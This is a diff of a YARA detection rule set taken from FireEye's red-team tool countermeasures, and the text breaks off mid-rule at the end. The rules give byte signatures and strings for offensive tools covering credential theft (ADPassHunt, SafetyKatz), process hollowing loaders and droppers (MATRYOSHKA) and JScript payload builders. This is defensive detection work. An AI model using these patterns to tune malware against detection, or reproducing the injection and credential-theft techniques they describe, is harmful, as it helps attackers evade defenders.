"6def0c667d38c1bad9233628e509bdcaed322e75be4ff3823b0f788c391e090c" + hash = "3fb9341fb11eca439b50121c6f7c59c7" + logic_hash = "6db9696663c19857c1f89339b8cc9b0565e877f34e8d8cf77b89ef22b3f41683" score = 75 quality = 75 tags = "FILE" - rev = 5 + rev = 1 strings: - $ind_dump = { 1F 10 16 28 [2] 00 0A 6F [2] 00 0A [50-200] 18 19 18 73 [2] 00 0A 13 [1-4] 06 07 11 ?? 6F [2] 00 0A 18 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 } - $ind_s1 = "NtReadVirtualMemory" fullword wide - $ind_s2 = "WriteProcessMemory" fullword - $shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 } - $shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 } + $s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 } + $s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 } + $si1 = "VirtualProtect" fullword + $si2 = "malloc" fullword condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of ( $ind* ) and any of ( $shellcode* ) + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Credtheft_MSIL_Titospecial_2 : FILE +rule FIREEYE_RT_Loader_MSIL_Generic_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the TitoSpecial project. There are 2 GUIDs in this rule as the x86 and x64 versions of this tool use a different ProjectGuid." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "0262c720-e6b8-5bf2-a242-19a7f044973f" + id = "f919e3fc-cf76-53af-8f04-24921830666f" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_2.yar#L4-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_MSIL_Generic_1.yar#L4-L21" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4bf96a7040a683bd34c618431e571e26" - logic_hash = "2f621f8de2a4679e6cbce7f41859eaa3095ca54090c8bfccd3b767590ac91f2c" + hash = "b8415b4056c10c15da5bba4826a44ffd" + logic_hash = "06cddd7e1c1c778348539cfd50f01d55f86689dec86c045d7ce7b9cd71690e07" score = 75 - quality = 71 + quality = 75 tags = "FILE" - rev = 4 + rev = 5 strings: - $typelibguid1 = "C6D94B4C-B063-4DEB-A83A-397BA08515D3" ascii nocase wide - $typelibguid2 = "3b5320cf-74c1-494e-b2c8-a94a24380e60" ascii nocase wide + $MSIL = "_CorExeMain" + $opc1 = { 00 72 [4] 0A 72 [4] 0B 06 28 [4] 0C 12 03 FE 15 [4] 12 04 FE 15 [4] 07 14 } + $str1 = "DllImportAttribute" + $str2 = "FromBase64String" + $str3 = "ResumeThread" + $str4 = "OpenThread" + $str5 = "SuspendThread" + $str6 = "QueueUserAPC" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( $typelibguid1 or $typelibguid2 ) + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and $MSIL and all of them } -rule FIREEYE_RT_Hunting_B64Engine_Dotnettojscript_Dos +rule FIREEYE_RT_Loader_Win_Generic_20 : FILE { meta: - description = "This file may enclude a Base64 encoded .NET executable. This technique is used by the project DotNetToJScript which is used by many malware families including GadgetToJScript." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "24c9c259-9bb9-5f46-9278-4fa20eb3c8c4" - date = "2020-12-08" + id = "d1d3eff8-d12e-53f6-8c30-06ecedaf3f49" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Hunting_B64Engine_DotNetToJScript_Dos.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_Win_Generic_20.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "7af24305a409a2b8f83ece27bb0f7900" - logic_hash = "e2afb43af469f8ae02f6fd21db6dbd45c997fb003e3aeeaa0d4ff3e85c64159a" - score = 50 + hash = "5125979110847d35a338caac6bff2aa8" + logic_hash = "9611aed2b4e4278d40254cb5c4fe94a458cfa19f10e6fe888bc7ceb166669cc6" + score = 75 quality = 75 - tags = "" + tags = "FILE" rev = 1 strings: - $b64_mz = "AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEU" + $s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 } + $s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 } + $si1 = "VirtualProtect" fullword + $si2 = "malloc" fullword condition: - $b64_mz + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Builder_MSIL_G2JS_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Keepersist_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the Gadget2JScript project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeePersist' project." author = "FireEye" - id = "484202c2-ac7d-5e6c-8bf1-3452a357c668" + id = "950a4744-2696-5eb7-8524-7f689cb5dbb0" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Builder_MSIL_G2JS_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEPERSIST/production/yara/HackTool_MSIL_KeePersist_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "fa255fdc88ab656ad9bc383f9b322a76" - logic_hash = "487d8e8deef218412f241d99ce32b63bfeb3568d23048b9dd4afff8f401bfea5" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "eae67c77a64ca07f9ef59a356bb2c3f3131f14e7f17c898ef8857a21090ace0e" score = 75 quality = 73 tags = "FILE" rev = 2 strings: - $typelibguid1 = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii nocase wide + $typelibguid0 = "1df47db2-7bb8-47c2-9d85-5f8d3f04a884" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hunting_Gadgettojscript_1 +rule FIREEYE_RT_Hacktool_MSIL_SAFETYKATZ_4 : FILE { meta: - description = "This rule is looking for B64 offsets of LazyNetToJscriptLoader which is a namespace specific to the internal version of the GadgetToJScript tooling." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SafetyKatz project." author = "FireEye" - id = "76c932e0-55b3-56ef-bab6-eb6997b51ee7" + id = "e160b75d-cc39-5e16-86e1-cba9fe64a6b6" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Hunting_GadgetToJScript_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SAFETYKATZ/production/yara/HackTool_MSIL_SAFETYKATZ_4.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "7af24305a409a2b8f83ece27bb0f7900" - logic_hash = "a880c20e61376dacd4e3a04f2cf065f19067c29371180b1dec186172cadf9564" - score = 50 - quality = 75 - tags = "" - rev = 4 + hash = "45736deb14f3a68e88b038183c23e597" + logic_hash = "a02b4acea691d485f427ed26487f2f601065901324a8dcd6cd8de9502d8cd897" + score = 75 + quality = 73 + tags = "FILE" + rev = 3 strings: - $s1 = "GF6eU5ldFRvSnNjcmlwdExvYWRl" - $s2 = "henlOZXRUb0pzY3JpcHRMb2Fk" - $s3 = "YXp5TmV0VG9Kc2NyaXB0TG9hZGV" + $typelibguid1 = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii nocase wide condition: - any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_2 : FILE +rule FIREEYE_RT_APT_Dropper_Win64_MATRYOSHKA_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SeatBelt project." + description = "matryoshka_dropper.rs" author = "FireEye" - id = "225b42fe-c73a-59c0-a1f4-1d6dff6e76e1" - date = "2020-12-08" + id = "1406aafd-6217-51ef-b3af-107ee88f9c99" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_2.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win64_MATRYOSHKA_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "9f401176a9dd18fa2b5b90b4a2aa1356" - logic_hash = "e48474c5025fd88e3c2824e1e943ff56cde0ea05984aad0249ccf73caa6d4a36" + hash = "edcd58ba5b1b87705e95089002312281" + logic_hash = "23f811f8e9387ca6a1257a31af66de9739733e4728adba0a3e3f74b5e5c0a556" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 3 + rev = 1 strings: - $typelibguid1 = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii nocase wide + $sb1 = { 8D 8D [4] E8 [4] 49 89 D0 C6 [2-6] 01 C6 [2-6] 01 [0-8] C7 44 24 ?? 0E 00 00 00 4C 8D 0D [4] 48 8D 8D [4] 48 89 C2 E8 [4] C6 [2-6] 01 C6 [2-6] 01 48 89 E9 48 8D 95 [4] E8 [4] 83 [2] 01 0F 8? [4] 48 01 F3 48 29 F7 48 [2] 08 48 89 85 [4] C6 [2-6] 01 C6 [2-6] 01 C6 [2-6] 01 48 8D 8D [4] 48 89 DA 49 89 F8 E8 } + $sb2 = { 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 68 00 00 00 48 8B [2] 48 8D [2] 48 89 [3] 48 89 [3] 0F 11 44 24 ?? C7 44 24 ?? 08 00 00 0C C7 44 24 ?? 00 00 00 00 31 ?? 48 89 ?? 31 ?? 45 31 ?? 45 31 ?? E8 [4] 83 F8 01 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_1 : FILE +rule FIREEYE_RT_APT_Builder_Win64_MATRYOSHKA_1 : FILE { meta: - description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project." + description = "matryoshka_pe_to_shellcode.rs" author = "FireEye" - id = "46477f87-2458-5b8e-894a-9aa536a441ad" - date = "2020-12-08" + id = "0afcf13e-5cd3-5c1c-897e-b6d0c283ab0f" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_1.yar#L4-L25" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Builder_Win64_MATRYOSHKA_1.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "848837b83865f3854801be1f25cb9f4d" - logic_hash = "4248e5561ef60e725c23efc89c899d6fc8be5bf2142f700fb70daecd72c30dd8" + hash = "8d949c34def898f0f32544e43117c057" + logic_hash = "b370d7dea44bccc92fc8dbd4ea0ee9bec523820108bf8bc67acb17ebf9835f74" score = 75 - quality = 30 + quality = 75 tags = "FILE" - rev = 3 + rev = 1 strings: - $msil = "_CorExeMain" ascii wide - $str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide - $str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide - $str3 = "LogonId=\"(\\d+)\"" ascii nocase wide - $str4 = "{0}.{1}.{2}.{3}" ascii nocase wide - $str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide - $str6 = "*[System/EventID={0}]" ascii nocase wide - $str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide - $str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide - $str9 = "{0}" ascii nocase wide - $str10 = "{0,-23}" ascii nocase wide + $sb1 = { 4D 5A 45 52 [0-32] E8 [0-32] 00 00 00 00 [0-32] 5B 48 83 EB 09 53 48 81 [0-32] C3 [0-32] FF D3 [0-32] C3 } + $ss1 = "\x00Stub Size: " + $ss2 = "\x00Executable Size: " + $ss3 = "\x00[+] Writing out to file" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* ) + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_Hacktool_MSIL_Wmisharp_1 : FILE +rule FIREEYE_RT_APT_Loader_Win64_MATRYOSHKA_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMISharp' project." + description = "matryoshka_process_hollow.rs" author = "FireEye" - id = "97b9d057-30d3-5af7-bac6-4dd53f47650f" - date = "2020-12-08" + id = "69919a80-8ed1-5b8c-911a-ceb75570f11f" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISHARP/production/yara/HackTool_MSIL_WMISharp_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win64_MATRYOSHKA_1.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "d119d52c1410291d582696d5c4c1de3db9008db963c76a9e344959d869c3acc0" + hash = "44887551a47ae272d7873a354d24042d" + logic_hash = "46e5480dc95ce8b9d8385c2e44a50b21629301535b93833c13cc3db319ac15dd" score = 75 - quality = 73 + quality = 75 tags = "FILE" rev = 1 strings: - $typelibguid0 = "3a2421d9-c1aa-4fff-ad76-7fcb48ed4bff" ascii nocase wide + $sb1 = { 48 8B 45 ?? 48 89 85 [0-64] C7 45 ?? 00 00 00 00 31 ?? E8 [4-64] BA 00 10 00 00 [0-32] 41 B8 04 00 00 00 E8 [4] 83 F8 01 [2-32] BA [4] E8 } + $sb2 = { E8 [4] 83 F8 01 [2-64] 41 B9 00 10 00 00 [0-32] E8 [4] 83 F8 01 [2-32] 3D 4D 5A 00 00 [0-32] 48 63 ?? 3C [0-32] 50 45 00 00 [4-64] 0F B7 [2] 18 81 ?? 0B 01 00 00 [2-32] 81 ?? 0B 02 00 00 [2-32] 8B [2] 28 } + $sb3 = { 66 C7 45 ?? 48 B8 48 C7 45 ?? 00 00 00 00 66 C7 45 ?? FF E0 [0-64] 41 B9 40 00 00 00 [0-32] E8 [4] 83 F8 01 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_Credtheft_MSIL_Adpasshunt_1 : FILE +rule FIREEYE_RT_APT_Loader_Win_MATRYOSHKA_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public ADPassHunt project." + description = "matryoshka_process_hollow.rs" author = "FireEye" - id = "35fb8032-c73a-549f-9bd9-409f7050bdb0" - date = "2020-12-08" + id = "c07fb67e-ded5-593d-b5dc-d0e2c3b5a352" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/CredTheft_MSIL_ADPassHunt_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win_MATRYOSHKA_1.yar#L4-L24" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "6efb58cf54d1bb45c057efcfbbd68a93" - logic_hash = "85c7c147d6bf5b7cb417ff2910a3e7ab3be5e8a3651758c07f8f0ed42b5964d8" - score = 50 - quality = 73 + hash = "44887551a47ae272d7873a354d24042d" + logic_hash = "8f762684ffd3984630bf41ededa78b8993b53b22591a59912cabfe635775de53" + score = 75 + quality = 75 tags = "FILE" - rev = 4 + rev = 1 strings: - $typelibguid = "15745B9E-A059-4AF1-A0D8-863E349CD85D" ascii nocase wide + $s1 = "ZwQueryInformationProcess" fullword + $s2 = "WriteProcessMemory" fullword + $s3 = "CreateProcessW" fullword + $s4 = "WriteProcessMemory" fullword + $s5 = "\x00Invalid NT Signature!\x00" + $s6 = "\x00Error while creating and mapping section. NTStatus: " + $s7 = "\x00Error no process information - NTSTATUS:" + $s8 = "\x00Error while erasing pe header. NTStatus: " condition: - uint16( 0 ) == 0x5A4D and $typelibguid + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_Adpasshunt_2 : FILE +rule FIREEYE_RT_APT_Dropper_Win_MATRYOSHKA_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "matryoshka_dropper.rs" author = "FireEye" - id = "a3b12fd7-e82d-5ef0-9125-7c069cd9bec4" + id = "7fd305c7-0b1b-5d91-b968-7f1fb0a8ae47" date = "2020-12-02" date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/APT_HackTool_MSIL_ADPassHunt_2.yar#L4-L23" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win_MATRYOSHKA_1.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "6efb58cf54d1bb45c057efcfbbd68a93" - logic_hash = "e2dc7db1860eef04a569f007c32abd507dd588d1392613efbb31f42ca66ff735" - score = 50 + hash = "edcd58ba5b1b87705e95089002312281" + logic_hash = "a7bf7599ec9b4b1d09a8c90b70ae565a9396fb31d449da3c1492d6fa336d9c5e" + score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $s1 = "LDAP://" wide - $s2 = "[GPP] Searching for passwords now..." wide - $s3 = "Searching Group Policy Preferences (Get-GPPPasswords + Get-GPPAutologons)!" wide - $s4 = "possibilities so far)..." wide - $s5 = "\\groups.xml" wide - $s6 = "Found interesting file:" wide - $s7 = "\x00GetDirectories\x00" - $s8 = "\x00DirectoryInfo\x00" + $s1 = "\x00matryoshka.exe\x00" + $s2 = "\x00Unable to write data\x00" + $s3 = "\x00Error while spawning process. NTStatus: \x0a\x00" + $s4 = "\x00.execmdstart/Cfailed to execute process\x00" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_Adpasshunt_1 : FILE +rule FIREEYE_RT_APT_Loader_Win64_MATRYOSHKA_2 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "matryoshka.rs" author = "FireEye" - id = "736b5300-215b-5314-9234-69ff0050b73e" + id = "25f916bc-6ee1-5175-903c-4266b0a086e1" date = "2020-12-02" date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/APT_HackTool_MSIL_ADPassHunt_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win64_MATRYOSHKA_2.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "6efb58cf54d1bb45c057efcfbbd68a93" - logic_hash = "63135c81c1a6b967cb26cced628afc0e7ef485923e6a7fd70a4d4672118d6a8c" - score = 50 + hash = "7f8102b789303b7861a03290c79feba0" + logic_hash = "daa6f6d526bf959c268b2c5a4cae33307cfec5e9ca51283131bbfa66a582b505" + score = 75 quality = 75 tags = "FILE" - rev = 2 + rev = 1 strings: - $sb1 = { 73 [2] 00 0A 0A 02 6F [2] 00 0A 0B 38 [4] 12 ?? 28 [2] 00 0A 0? 73 [2] 00 0A 0? 0? 0? 6F [2] 00 0A 1? 13 ?? 72 [4] 13 ?? 0? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 1? 3B [4] 11 ?? 72 [4] 28 [2] 00 0A 13 ?? 0? 72 [4] 6F [2] 00 0A 6F [2] 00 0A 13 ?? 38 [4] 11 ?? 6F [2] 00 0A 74 [2] 00 01 13 ?? 11 ?? 72 [4] 6F [2] 00 0A 2C ?? 11 ?? 72 [4] 11 ?? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 6F [2] 00 0A 72 [4] 28 [2] 00 0A } - $sb2 = { 02 1? 8D [2] 00 01 [0-32] 1? 1F 2E 9D 6F [2] 00 0A 72 [4] 0A 0B 1? 0? 2B 2E 0? 0? 9A 0? 0? 72 [4] 6F [2] 00 0A 2D ?? 06 72 [4] 28 [2] 00 0A 0A 06 72 [4] 0? 28 [2] 00 0A 0A 0? 1? 58 0? 0? 0? 8E 69 32 CC 06 2A } + $sb1 = { 4D [2] 00 49 [2] 08 B? 02 00 00 00 31 ?? E8 [4] 48 89 ?? 48 89 ?? 4C 89 ?? 49 89 ?? E8 [4] 4C 89 ?? 48 89 ?? E8 [4] 83 [2] 01 0F 84 [4] 48 89 ?? 48 8B [2] 48 8B [2] 48 89 [5] 48 89 [5] 48 89 [5] 41 B? [4] 4C 89 ?? 31 ?? E8 [4] C7 45 [5] 48 89 ?? 4C 89 ?? E8 [4] 85 C0 } + $sb2 = { 4C [2] 0F 83 [4] 41 0F [3] 01 41 32 [2] 00 48 8B [5] 48 3B [5] 75 ?? 41 B? 01 00 00 00 4C 89 ?? E8 [4] E9 } + $si1 = "CreateToolhelp32Snapshot" fullword + $si2 = "Process32Next" fullword condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_Credtheft_MSIL_Adpasshunt_2 : FILE +rule FIREEYE_RT_APT_Builder_PY_MATRYOSHKA_1 { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "b6103e23-8d1c-5d01-b283-f4545ccb924e" - date = "2020-12-08" + id = "0135f3bb-28b3-5fc4-85a2-b12c46c8bc45" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/CredTheft_MSIL_ADPassHunt_2.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Builder_PY_MATRYOSHKA_1.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "6efb58cf54d1bb45c057efcfbbd68a93" - logic_hash = "e7282905a8baeaeb8ec156171fbf2bc4ac811facb80959a88394f4938a145cc1" - score = 50 + hash = "25a97f6dba87ef9906a62c1a305ee1dd" + logic_hash = "71b26f4b319429ac356b55d22bccd1da85894d61f8c96452422de78d2d893420" + score = 75 quality = 75 - tags = "FILE" + tags = "" rev = 1 strings: - $pdb1 = "\\ADPassHunt\\" - $pdb2 = "\\ADPassHunt.pdb" - $s1 = "Usage: .\\ADPassHunt.exe" - $s2 = "[ADA] Searching for accounts with msSFU30Password attribute" - $s3 = "[ADA] Searching for accounts with userpassword attribute" - $s4 = "[GPP] Searching for passwords now" + $s1 = ".pop(0)])" + $s2 = "[1].replace('unsigned char buf[] = \"'" + $s3 = "binascii.hexlify(f.read()).decode(" + $s4 = "os.system(\"cargo build {0} --bin {1}\".format(" + 